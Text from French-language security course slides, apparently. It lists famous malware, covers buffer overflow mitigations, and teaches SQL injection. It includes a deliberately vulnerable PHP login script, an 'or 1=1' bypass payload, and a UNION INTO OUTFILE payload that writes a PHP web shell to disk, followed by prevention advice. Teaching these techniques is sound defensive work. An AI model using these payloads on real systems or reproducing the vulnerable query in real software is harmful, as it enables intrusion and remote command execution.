5. Quelques célébrités
Core War (1960)
Brain (1986)
Melissa (1999)
I Love You (2000)
Nimda (2001)
Blaster (2003)
Zeus (2007)
Conficker (2008)
Stuxnet (2010)
Flame (2012)
17. Stack based buffer overflow
Prévention
char* strncpy (char* dest, char* src, size-t num);
DEP
ASLR
18. SQL Injection
Définition
Vulnérabilité due à la mauvaise gestion du contenu
de variables utilisées pour construire une requête
SQL.
Mauvaise gestion des caractères spéciaux
Mauvais typage des variables
20. <?php
$mysqli = mysqli_connect("127.0.0.1", "xxxx_user", "xxxx",
"xxxx");
if (mysqli_connect_errno($mysqli)) {
echo "Failed to connect to MySQL: " .
mysqli_connect_error();
}
$login = $_GET["login"];
$password = $_GET["password"];
$res = mysqli_query($mysqli,
"SELECT * from users where login='$login' and
password='$password';");
if ($res)
if ($res->num_rows) {
$row = mysqli_fetch_assoc($res);
echo "Hello {$row['name']}, your user ID is {$row
['login']}.<p>";
} else {
echo "Unknown user or bad password, login denied.";
}
?>;
SQL Injection
Exemple de code vulnérable
21. SQL Injection
La requête vulnérable
select * from users where
login='$login' and
password='$password';
22. SQL Injection
Ce qui facilite l'exploitation
$row = mysqli_fetch_assoc($res);
echo "Hello {$row['name']}, your user ID is
{$row['login']}.<p>";
23. SQL Injection
Test de vulnérabilité
select * from users where login='' or 1=1;
-- and password='MDP';
Paramètre Valeur
$login ' or 1=1; --
$password MDP
24. SQL Injection
Ecriture d'un fichier sur le disque
select * from users where login='' UNION
SELECT '<? system($_GET['c']); ?>', '',
'', '', '' INTO OUTFILE 'd:
xampphtdocsaesrshell.php' --
and password='MDP';
Paramètre Valeur
$login ' UNION SELECT '<? system($_GET
['c']); ?>', '', '', '', '' INTO
OUTFILE 'd:
xampphtdocsaesrshell.php' --
$password MDP
25. SQL Injection
Prévention
Escaping
en PHP: mysqli_real_escape_string ()
Prepared statements
en PHP: mysqli_prepare ()
Contrôle des paramètres passés à la requête
Gestion des droits dans la base de données
WAF (Web Application Firewall)